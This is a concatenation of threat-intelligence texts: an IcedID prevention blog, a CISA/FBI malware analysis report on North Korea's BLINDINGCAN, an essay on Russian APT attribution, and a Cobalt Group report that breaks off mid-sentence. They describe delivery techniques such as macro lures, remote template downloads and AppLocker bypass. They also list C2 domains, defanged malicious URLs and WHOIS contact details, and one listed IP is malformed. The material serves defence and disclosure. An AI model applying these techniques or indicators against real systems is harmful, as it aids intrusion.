# Threat of the Month: IcedID Malware **About Threat of the Month Series** With the rise of cyberattacks, it’s impossible for security and IT teams to keep track of every one. We’ll identify an emerging cybersecurity threat and give information on what it is, why it’s becoming more prevalent, and how you can prevent it. The Threat of the Month blog series is a collaboration between Cerium Networks and Blumira. This month’s threat is IcedID (aka BokBot), a strain of malware that initially operated as a banking trojan but has now evolved into something far more dangerous: an initial access broker for ransomware threat actors. The first half of 2021 alone has been a record-breaking time period for ransomware, during which six ransomware groups have compromised 292 organizations, according to an eSentire report. The report estimates that these attacks generated at least $45 million for the groups. So, what does IcedID have to do with ransomware? The threat actors that are deploying ransomware aren’t usually the ones deploying IcedID in the wild. The threat actors behind IcedID typically launch a mass email campaign. Once IcedID has gained a foothold into an environment, the malware threat actors sell that initial access — which often includes reconnaissance intel such as the number of endpoints in the targeted organization, network range, and potential access points — in a cybercriminal marketplace. Ransomware-as-a-service affiliates will purchase the initial access which they use to launch the ransomware attack. The evolution of IcedID from a banking trojan to an initial access broker means that financial institutions are no longer the only target. Any organization that doesn’t have malware prevention in place can be a potential victim. ## How Does IcedID Work? Threat actors have used a few different methods to deploy an IcedID campaign, and as with most cyberattacks, these methods are always evolving — making IcedID more difficult to detect. In some campaigns, threat actors use rigged Excel spreadsheets as a delivery mechanism. Threat actors typically use a naming convention that prompts victims to open it, using language such as “refusal,” “claim,” and “overdue.” Users that open the file will see a screen instructing them to enable macros to see the full version. Once macros are enabled, the malicious formula embedded in the Excel sheet will execute. Malware developers often use white font on a white background to make the formula invisible to victims. Macros on the sheet then download three DLL files with the .dat extension from the command and control servers. More recent IcedID campaigns involve threat actors using contact forms on legitimate company websites to send emails with malicious links. With this method, the emails that arrive in a victim’s inbox look trustworthy because they are sent using email marketing systems. It’s possible that threat actors have used tools to automate the process and evade CAPTCHA measures, according to Microsoft. In one particular campaign, the email contained strong language and legal threats about stolen photography, with links to site.google.com for the recipient to view the stolen photos. Once a victim follows the link, which asks them to sign in with Google credentials, the site will automatically download a zip file. This contains a malicious .js file that launches the IcedID attack. ## Why Now? In January 2021, a coalition of eight international law enforcement officials brought down one of the most widespread malware variants, Emotet. On April 25, 2021, government officials uninstalled Emotet from all infected systems. Like IcedID, Emotet originated as a banking trojan designed to steal sensitive information. Over the years, however, it morphed into a more sophisticated strain of malware that evaded detection techniques and used command and control servers to receive updates. It eventually became capable of downloading secondary malware payloads, such as “Ryuk” ransomware. The takedown of arguably one of the biggest players in malware created an opening in the marketplace for cybercriminals to fill — and IcedID is primed to take its place. IcedID isn’t the only initial access broker for ransomware gangs; other malware families such as TrickBot and Qbot also deliver payloads for ransomware attacks. However, IcedID threat actors have managed to fly under the radar, while strains like TrickBot are heavily monitored by law enforcement. A few signs have pointed to the rise of IcedID and its use within ransomware attacks. Threat researchers reported a spike in IcedID activity in March 2021. IcedID was also used to deliver Sodinokibi, MAZE, and Egregor ransomware attacks. ## How To Prevent IcedID Organizations can do a few things to prevent IcedID. Deploying antivirus (AV) software may seem like an obvious first step. Although more advanced solutions can be helpful, IcedID uses sophisticated techniques like using a company’s contact forms to evade detection from many traditional antivirus tools. - **Deploy detection and response.** A detection and response solution that alerts security and IT teams about suspicious behaviors is typically more effective in preventing sophisticated malware strains like IcedID than antivirus software. Blumira, for example, comes with prebuilt detections designed to detect behaviors that are associated with IcedID’s initial access attack path — like running built-in Windows utilities or enabling macros. - **Train employees to detect phishing.** Nearly every IcedID campaign starts with a phishing email, so employees that are able to detect these emails can prevent an IcedID attack altogether. Security teams can educate employees about phishing in a few ways depending on company culture, such as interactive quizzes, team meetings, and casual discussions. - **Disable macros.** IcedID uses macros to download and execute its payload, so one step that IT and security admins can take is to disable macros for Microsoft Word through GPO, as this will have little to no business impact for most organizations. Enforcing any kind of macro policy for Excel, while recommended, will require more aggressive planning.
# 【至急】東京オリンピック開催に伴うサイバー攻撃等発生に関する被害報告について セキュリティエバンジェリスト 岡本 勝之 July 22, 2021 個人のお客さま向けオンラインショップ 法人のお客さま向け直営ストア 販売パートナー検索 Asia Pacific Region (APAC): Australia / New Zealand, 中国, 日本, 대한민국, 台灣 Latin America Region (LAR): Brasil, México North America Region (NABU): United States, Canada Europe, Middle East, & Africa Region (EMEA): France, Deutschland / Österreich / Schweiz, Italia, Россия, España, United Kingdom / Ireland
# North Korean Remote Access Trojan: BLINDINGCAN This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. ## Summary ### Description This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Remote Access Trojan (RAT) malware variants used by the North Korean government. This malware variant has been identified as BLINDINGCAN. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks for further exploitation. A threat group with a nexus to North Korea targeted government contractors early this year to gather intelligence surrounding energy technologies. The malicious documents employed in this campaign used job postings from leading defense contractors as lures and installed an implant on a victim's system. This campaign utilized compromised infrastructure from multiple countries to host its command and control (C2) infrastructure. CISA and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for mitigation. The threat actor whose activity is described in this report may have included images of logos and products as part of their social engineering strategy. CISA received four Microsoft Word Open Extensible Markup Language (XML) documents (.docx) and two Dynamic-Link Libraries (DLLs). The .docx files connect to external domains for a download. A 32-bit and a 64-bit DLL were submitted that install a 32-bit and a 64-bit DLL named "iconcache.db," respectively. "iconcache.db" unpacks and executes a variant of Hidden Cobra RAT. It contains built-in functions for remote operations that provide various capabilities on a victim's system. ## Submitted Files (6) - 0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 - 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 - 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e - 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 - 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 - d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 ## Additional Files (6) - 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d - 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd - 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 - b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 - bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 - d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 ## Domains (4) - agarwalpropertyconsultants.com - anca-aste.it - automercado.co.cr - curiofirenze.com ## IPs (4) - 192.99.20.39 - 79.63.24 - 51.68.152.96 - 54.241.91.49 ## Findings ### Tags - downloader trojan ### Details - **Name**: 1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx - **Size**: 184853 bytes - **Type**: Microsoft Word 2007+ - **MD5**: 6cea7290883f0527dbd3e2df64462684 - **SHA1**: 8d179113e963d81adbf8d39ceff456afac3dae16 - **SHA256**: 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e - **SHA512**: 6d84696445a9339709edc25dfaa36766bcbc1a63aa41386280307a6314c9838a1fb347785becb91346ac9ed8fffe3804e01910e69945c - **ssdeep**: 3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13yK8RZOphF:3wl9aUOfJnUjaTltJnUjaTlmv178RyF - **Entropy**: 6.246619 ### Antivirus - **NANOAV**: Exploit.Xml.CVE-2017-0199.equmby ### YARA Rules No matches found. ### ssdeep Matches - 97 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 ### Relationships - 586d012540... Connected_To agarwalpropertyconsultants.com ### Description This file is a .docx file that is a zipped file containing XML files in a directory structure. Once opened in an application capable of displaying .docx files, the XML file "1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx/word/_rels/settings.xml.rels" attempts to connect to an external URL for a download. ### External URL - hxxps://agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg The download was not available at the time of analysis. ### Screenshots - Figure 1 - Screenshot of "1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx". ### Tags - command-and-control ### URLs - hxxps://agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg ### Ports - 443 TCP ### Whois - **Domain Name**: AGARWALPROPERTYCONSULTANTS.COM - **Registry Domain ID**: 2430104516_DOMAIN_COM-VRSN - **Registrar WHOIS Server**: Whois.bigrock.com - **Registrar URL**: www.bigrock.com - **Updated Date**: 2019-11-05T02:16:36Z - **Creation Date**: 2019-09-05T06:07:18Z - **Registrar Registration Expiration Date**: 2020-09-05T06:07:18Z - **Registrar**: BigRock Solutions Ltd - **Registrar IANA ID**: 1495 - **Domain Status**: clientTransferProhibited - **Registry Registrant ID**: Not Available From Registry - **Registrant City**: Mumbai - **Registrant State/Province**: Other - **Registrant Postal Code**: 400102 - **Registrant Country**: IN - **Registry Admin ID**: Not Available From Registry - **Admin City**: Mumbai - **Admin State/Province**: Other - **Admin Postal Code**: 400102 - **Admin Country**: IN - **Registry Tech ID**: Not Available From Registry - **Tech City**: Mumbai - **Tech State/Province**: Other - **Tech Postal Code**: 400102 - **Tech Country**: IN - **Tech Phone**: +91.9821112012 - **Name Server**: ns1.bh-58.webhostbox.net - **Name Server**: ns2.bh-58.webhostbox.net - **DNSSEC**: Unsigned - **Registrar Abuse Contact Email**: [email protected] - **Registrar Abuse Contact Phone**: +1-415-349-0015 - **URL of the ICANN WHOIS Data Problem Reporting System**: http://wdprs.internic.net/ - **Last update of WHOIS database**: 2020-06-30T20:21:25Z ### Relationships - agarwalpropertyconsultants.com Connected_From 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e - agarwalpropertyconsultants.com Resolved_To 199.79.63.24 ### Description "1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx" attempts to connect to this domain. ### 199.79.63.24 - **Whois**: Queried whois.arin.net with "n 199.79.63.24"... - **NetRange**: 199.79.62.0 - 199.79.63.255 - **CIDR**: 199.79.62.0/23 - **NetName**: PUBLICDOMAINREGISTRY-NETWORKS - **NetHandle**: NET-199-79-62-0-1 - **Parent**: NET199 (NET-199-0-0-0-0) - **NetType**: Direct Allocation - **OriginAS**: AS394695 - **Organization**: PDR (PSUL-1) - **RegDate**: 2012-01-13 - **Updated**: 2018-11-29 ### OrgName - **PDR** - **OrgId**: PSUL-1 - **Address**: P.D.R Solutions LLC, 10, Corporate Drive, Suite 300 - **City**: Burlington - **StateProv**: MA - **PostalCode**: 01803 - **Country**: US - **RegDate**: 2015-08-04 - **Updated**: 2019-11-07 ### OrgAbuseHandle - **ABUSE5185-ARIN** - **OrgAbuseName**: Abuse Admin - **OrgAbusePhone**: +1-415-230-0648 - **OrgAbuseEmail**: [email protected] ### Relationships - 199.79.63.24 Resolved_To agarwalpropertyconsultants.com ### Description Domain "agarwalpropertyconsultants.com" resolved to this Internet Protocol (IP) address during analysis. ### 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 ### Tags - downloader loader trojan ### Details - **Name**: 2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx - **Size**: 521644 bytes - **Type**: Microsoft Word 2007+ - **MD5**: 7955fa7ab32773d17e0e94efeea69cf4 - **SHA1**: e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a - **SHA256**: 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 - **SHA512**: aa773c54a764927c13db914169de9adde26210da8e223d54e206e9fa0b8720ded3d1fbfbbaf13d5cf40a46e1103f90889d6acb86b55515 - **ssdeep**: 12288:xnCB1YmAjh6oSdUocST5Uqpd4zRgE/CcftnPrqpd4zRgE/CcfI:tmA167dUo1FtpdSgEjlOpdSgEjA - **Entropy**: 7.915680 ### Antivirus - **McAfee**: Trojan-FRVP!2F8066356BC3 - **NANOAV**: Exploit.Xml.CVE-2017-0199.equmby ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Relationships - 158ddb8561... Connected_To anca-aste.it ### Description This is a .docx file that is a zipped container of XML files in a directory structure. Once opened in an application capable of displaying .docx files, the XML file "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx/word/_rels/settings.xml.rels" attempts to connect to an external URL for a download. ### External URL - hxxps://www.anca-aste.it/uploads/form/boeing_iacm_logo.jpg The download was not available at the time of analysis. ### Screenshots - Figure 2 - Screenshot of "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx". ### Tags - downloader loader trojan ### Details - **Name**: 3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx - **Size**: 521660 bytes - **Type**: Microsoft Word 2007+ - **MD5**: 56470e113479eacda081c2eeead153bf - **SHA1**: c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e - **SHA256**: 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 - **SHA512**: 0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26720c4418b1cb - **ssdeep**: 12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG - **Entropy**: 7.916144 ### Antivirus - **Ahnlab**: Downloader/Doc.Generic - **Antiy**: Trojan/Win32.Casdet - **Avira**: W97M/Dldr.Agent.iscqo - **BitDefender**: Trojan.GenericKD.33913186 - **ClamAV**: Win.Malware.Agent-8366038-0 - **Comodo**: Malware - **Cyren**: DOCX/Gamaredon.A.gen!Camelot - **ESET**: DOC/TrojanDownloader.Pterodo.A trojan - **Emsisoft**: Trojan.GenericKD.33913186 (B) - **Ikarus**: Trojan-Downloader.DOC.Agent - **Lavasoft**: Trojan.GenericKD.33913186 - **McAfee**: Trojan-FRVP!AF83AD63D2E3 - **Microsoft Security Essentials**: Trojan:Win32/Casdet!rfn - **NANOAV**: Exploit.Xml.CVE-2017-0199.equmby - **NetGate**: Trojan.Win32.Malware - **Sophos**: Troj/DocDl-ZFL - **Symantec**: Trojan.Gen.NPE - **TrendMicro**: Trojan.9A84BBAC - **TrendMicro House Call**: Trojan.9A84BBAC ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Relationships - 7933716892... Connected_To anca-aste.it ### Description This is a .docx file that is a zipped container of XML files in a directory structure. Once opened in an application capable of displaying .docx files, the XML file "3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx/word/_rels/settings.xml.rels" attempts to connect to an external URL for a download. ### External URL - hxxps://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg The download was not available at the time of analysis. ### Screenshots - Figure 3 - Screenshot of "3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx". ### Tags - downloader dropper loader trojan ### Details - **Name**: 4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx - **Size**: 184848 bytes - **Type**: Microsoft Word 2007+ - **MD5**: e7aa0237fc3db67a96ebd877806a2c88 - **SHA1**: 0ecc687d741c7b009c648ef0de0a5d47213f37ff - **SHA256**: 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 - **SHA512**: 771f7e5f68a48e38361f7b1b3c8cc5181a456582515d9b694f98cacd7c33e06dfb994d082c3d009b432fb9f9ecd1f3b194e92b998c203e4 - **ssdeep**: 3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13fK8RZOphN:3wl9aUOfJnUjaTltJnUjaTlmv1y8RyN - **Entropy**: 6.246580 ### Antivirus - **Ahnlab**: Downloader/MSOffice.Generic - **Antiy**: Trojan[Exploit]/MSOffice.CVE-2017-0199 - **Avira**: W97M/Dldr.Agent.axzdz - **ClamAV**: Win.Malware.Agent-8366007-0 - **ESET**: DOC/TrojanDownloader.Agent.BHQ trojan - **Ikarus**: Trojan-Downloader.DOC.Agent - **McAfee**: Trojan-FRVP!63178C414AF9 - **Microsoft Security Essentials**: Exploit:O97M/CVE-2017-0199!MTB - **NANOAV**: Exploit.Xml.CVE-2017-0199.equmby - **NetGate**: Trojan.Win32.Malware - **Sophos**: Troj/DocDl-YVZ - **Symantec**: Trojan.Mdropper - **TrendMicro**: TROJ_FR.9B7AA4A0 - **TrendMicro House Call**: TROJ_FR.9B7AA4A0 ### YARA Rules No matches found. ### ssdeep Matches - 97 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e ### Relationships - 6a3446b8a4... Connected_To anca-aste.it ### Description This is a .docx file that is a zipped container of XML files in a directory structure. Once opened in an application capable of displaying .docx files, one of its XML files connects to an external URL for a download. ### External URL - hxxps://www.anca-aste.it/uploads/form/boeing_jd_t034519.jpg The download was not available at the time of analysis. ### Screenshots - Figure 4 - Screenshot of "4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx". ### Tags - command-and-control ### URLs - hxxps://www.anca-aste.it/uploads/form/boeing_iacm_logo.jpg - hxxps://www.anca-aste.it/uploads/form/boeing_jd_t034519.jpg - hxxps://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg ### Ports - 443 TCP ### Whois - **Domain**: anca-aste.it - **Status**: ok - **Signed**: no - **Created**: 2006-03-02 00:00:00 - **Last Update**: 2019-07-22 01:05:20 - **Expire Date**: 2020-07-06 ### Registrant - **Created**: 2017-07-05 14:28:22 - **Last Update**: 2017-07-05 14:28:22 ### Admin Contact - **Name**: Gabriele Crepaldi - **Organization**: Gabriele Crepaldi - **Address**: Via Della Spiga 52, Milano, 20121, MI, IT - **Created**: 2017-07-05 14:28:22 - **Last Update**: 2017-07-05 14:28:22 ### Technical Contacts - **Name**: hidden - **Organization**: hidden ### Registrar - **Organization**: CWNET srl - **Name**: CWNET-REG - **Web**: http://www.cwnet.it - **DNSSEC**: no ### Nameservers - ns.thetiscloud1.it - ns.thetiscloud2.it ### Relationships - anca-aste.it Resolved_To 51.68.152.96 - anca-aste.it Connected_From 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 - anca-aste.it Connected_From 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 - anca-aste.it Connected_From 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 ### Description Files "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx", "3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx" and "4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx" attempt to connect to this domain. ### 51.68.152.96 - **Whois**: Queried whois.ripe.net with "-B 51.68.152.96"... - **NetRange**: 51.68.152.0 - 51.68.155.255 - **Country**: PL - **Org**: OVH Sp. z o. o. ### Relationships - 51.68.152.96 Resolved_To anca-aste.it ### Description Domain "anca-aste.it" resolved to this IP during analysis. ### d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 ### Tags - dropper trojan ### Details - **Name**: D40AD4CD39350D718E189ADF45703EB3A3935A7CF8062C20C663BC14D28F78C9 - **Size**: 724480 bytes - **Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5**: 18cfd7e01da5d30a27a885164d5a7b9b - **SHA1**: 40c5103cd9681a2830667957f3e3d037fd25b6c9 - **SHA256**: d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 - **SHA512**: 6724ed963fa7ffd1cb3b76a72890b385bcd080a66428f18531f1432a973896d98e9405bd02952ae81b4a6d6294a73cde5911e9998e4f9d - **ssdeep**: 12288:u4VYMsRKftZAli/I9j2OShndRYMaU4vdXScW2EmBYWK323b1zvpjUSqon01y:jwKbA9XSJ4i4vdEGYfahBjk5 - **Entropy**: 7.960508 ### Antivirus - **BitDefender**: Gen:Trojan.Heur.Su4@!RdqOMbi - **Emsisoft**: Gen:Trojan.Heur.Su4@!RdqOMbi (B) - **Lavasoft**: Gen:Trojan.Heur.Su4@!RdqOMbi - **Symantec**: Heur.AdvML.B ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### PE Metadata - **Compile Date**: 2020-05-20 02:03:53-04:00 ### PE Sections - **MD5**: 6dead31f52ae9c89182635c7bc5363ff - **Name**: header - **Raw Size**: 1024 - **Entropy**: 2.447679 ### Relationships - d40ad4cd39... Dropped b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 ### Description This application is a 32-bit DLL. Upon execution, it decodes an embedded Ultimate Packer for Executables (UPX) packed DLL using a hard-coded key. The decoded DLL is installed and executed from "C:\ProgramData\iconcache.db". ### b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 ### Tags - obfuscated remote-access-trojan ### Details - **Name**: iconcache.db - **Size**: 676864 bytes - **Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed - **MD5**: c627db421adaaa320d3ac42396c89f8a - **SHA1**: dcf95cd96203e794724fc14e454e63fba9afe82a - **SHA256**: b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 - **SHA512**: bcc0a6688b5a282802700382d72e11663015946a95c701df82fdab164b6ef6889e180617a284e604e931ffc046ec1fd20ac6e20357ec91 - **ssdeep**: 12288:UloPYtyI4lSa/gwZyVJKlI/mjGENKw4tv1ALs7wboS:eoQp4lSWgwZy6lUkh4N2Ls7w - **Entropy**: 7.994989 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### PE Metadata - **Compile Date**: 2019-10-30 22:22:32-04:00 ### PE Sections - **MD5**: ee27480742e19dfbbedf334ca52aafa5 - **Name**: header - **Raw Size**: 1024 - **Entropy**: 2.713911 ### Relationships - b70e66d387... Connected_To curiofirenze.com - b70e66d387... Connected_To automercado.co.cr - b70e66d387... Dropped_By d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 ### Description This application is a 32-bit UPX packed DLL installed by d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 into the "C:\ProgramData\iconcache.db" directory. During execution, it uses the Advanced Encryption Standard (AES) cipher to decrypt and then decompress two embedded 64-bit DLL binaries in memory. ### 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d ### Tags - HIDDEN-COBRA ### Details - **Name**: 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d - **Size**: 214608 bytes - **Type**: PE32+ executable (DLL) (GUI) x86-64, for MS Windows - **MD5**: 6c2d15114ebdd910a336b6b147512a74 - **SHA1**: 9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2 - **SHA256**: 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d - **SHA512**: 77fd1d56a0f0cf143286fb78519b69eb8ef30f383c117d353ab16d0be5f2bfdbdb847d717dbc8b70b5d806a46fa4a1dc29a8304b8349bc1 - **ssdeep**: 3072:WvG/9l8VoAo8gj83efR0TmXBlPbAjoSrL90z1agX:0VoAo8qlWTmXBlPbAjHl0j - **Entropy**: 4.709829 ### Antivirus No matches found. ### YARA Rules - rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN ### ssdeep Matches No matches found.
# On Attribution: APT28, APT29…Turla: No, They Are NOT the Same Earlier today someone forwarded me (outside of work) a threat intelligence “report” – quotes because it was far from being a finished product – that was recommending that people impacted by one of those three nation-state actors should be communicated as “Russia targeting your organization.” I found this assessment dangerously wrong and inaccurate so let me explain here why and maybe my post will help others avoid similar oversimplifications. I cannot reference classified attribution intelligence products, but one of the most reputable public sources is Välisluureamet, Estonia’s foreign intelligence service. In Välisluureamet’s 2018 unclassified report, they attributed those groups to specific organizations within the Russian Federation government. So let’s assume that this is accurate for the sake of this blog post. Why is it dangerously wrong to communicate that getting targeted by APT28, APT29, or Turla is “Russia targeting you” rather than the specific actors? Simply because they are significantly different organizations, with different modus operandi, different objectives, and different TTPs. This means that your threat model will be entirely different if you want to be protected against APT28 versus Turla or APT29. To be more precise… ## APT28 (GRU’s 6th Directorate/Military Intelligence) A military intelligence agency is usually after intelligence of military value. Specifically, this agency has shown that they are one of the most active actors in cyber with massive resources but not extremely sophisticated. Of course, when there are big geopolitical events, military research, investigations on Russian military activities, or military exercises, they will be around, and they will be after any connected systems that can get them military intelligence that could benefit the Russian Federation and its allies. They have been seen using all intelligence disciplines without any noticeable preference on cyber over other means of collection. ## APT29 (SVR/Foreign Intelligence) This is the equivalent of the CIA for Russia, and just like the CIA, their cyber operations are typically more on the targeted and less on the bulk collection. On numerous occasions, they have been seen conducting close access operations, and their objectives typically are related to political and economical information. For example, finding dirt to recruit someone as an SVR agent or finding out the details of a commercial agreement or research that could benefit the Russian state or its allies. They are less in the SIGINT and more in the HUMINT space, so they are more likely to recruit an insider to get them what they want than perform an extremely sophisticated cyber operation. ## Turla (FSB’s 16th Center/Signals Intelligence) Turla is the equivalent of the NSA’s Signals Intelligence Directorate (SID), and because of that, they are one of the most sophisticated cyber actors out there operating at a level similar to that of the NSA, including bulk collection. This means that they collect intelligence for a variety of agencies both for Russia but also Russia’s allies under various agreements. So their target space is massive, and they are the most advanced cyber operators of the Russian government. They have a massive organization, and their sole purpose is SIGINT. So if you are targeted by Turla, then expect some very advanced and complex cyber operations. Also, if you are targeted by Turla, it doesn’t mean that it’s Russia targeting you; it could be that they execute an intelligence collection agreement for an ally of Russia that doesn’t have such cyber intelligence collection capabilities, similarly to what the NSA’s SID and other large SIGINT agencies do. And this is why oversimplifying in a threat intelligence product that any of the above actors should be treated as simply “Russia is after you” is dangerous for cybersecurity departments/customers that have to develop defensive controls to protect their assets. If you are unsure about the attribution, it’s better to stay away from attributing it at all until you have sufficient evidence, and focus on the lower-level indicators and warnings that you can share to help defenders take some action. For example, what did you observe in terms of TTPs or even IOCs? It’s better to share high-confidence intelligence than “it’s the Russians” that has zero practical application to develop protections without more context that can help in understanding the motivations and intentions. The same applies if you are a briefer delivering those threat intelligence products; choose your words wisely. Finally, do not forget that some of those agencies collaborate on certain projects, including sharing some software tools, libraries, and TTPs (typically through lessons-learned sessions and internal policies). Hopefully, that clears it out…
# Double the Infection, Double the Fun ## Executive Summary Cobalt Group (aka TEMP.Metastrike), active since at least late 2016, have been suspected in attacks across dozens of countries. The group primarily targets financial organizations, often with the use of ATM malware. Researchers also believe they are responsible for a series of attacks on the SWIFT banking system which costs millions in damages to the impacted entities. On August 13, ASERT observed the financially-motivated hacking group actively pushing a new campaign. We believe the targeted institutions for the ongoing campaign are located in Eastern Europe and Russia. The active campaigns utilize spear phishing messages to gain entry. The emails appear to come from a financial vendor or partner, increasing the likelihood of infection. The group uses tools that can bypass Windows defenses. **NOTE:** Arbor APS enterprise security products detect and block all activity noted in this report. ## Key Findings Recent campaigns masquerade as other financial institutions or a financial supplier/partner domain to trick potential victims into trusting the messages. - Two phishing targets found: - NS Bank (Russia) - Banca Comercială Carpatica / Patria Bank (Romania) - One phishing email contains two malicious URLs: - The first one is a weaponized Word document. The document contains obfuscated VBA scripts as opposed to known CVEs used in parallel to this campaign. - The second one is a binary with a jpg extension. The binaries analyzed contained two unique C2 servers we believe are owned and operated by the Cobalt hacking Group. ## Details ### Cobalt Group Connection ASERT recently uncovered two different malware samples which we believe connect the active campaigns to Cobalt Group. The first sample, a JavaScript backdoor, shares functionality with previous versions of a similar backdoor. The second binary, CobInt/COOLPANTS, is a reconnaissance backdoor as noted by security researchers. #### JavaScript Backdoor The JavaScript Backdoor is believed to be a stager for additional payloads. This stager, previously analyzed by security researchers from Group-IB, and the JavaScript Backdoor ASERT analyzed exhibits similar functionality as noted below: - Registry key settings for persistence - Launched in an SCT (a scriptlet COM object) called via regsvr32.exe - An AppLocker by-pass technique (squiblydoo). - Use of RC4 to encrypt traffic - Same type of system information collected - The C2 command names show striking similarity - The C2 communication structure is also closely aligned between the two samples #### CobInt/COOLPANTS The second binary identified by security researchers, dubbed “Recon (CobInt) backdoor”, matched a new sample ASERT identified. A number of binaries came to light after the initial findings of the CobInt backdoor. The following are a few of these binaries, including the new sample identified by ASERT researchers: - Sample: 10d044bc5b8ae607501304e61b2efecb - Security Researchers identify a “patient zero” binary and called it CobInt. - Listed in a recent report as a tool used by Cobalt Group - Sample: d017bf9f6039445bfefd95a853b2e4c4 - Found a sample on July 9, 2018 and called it 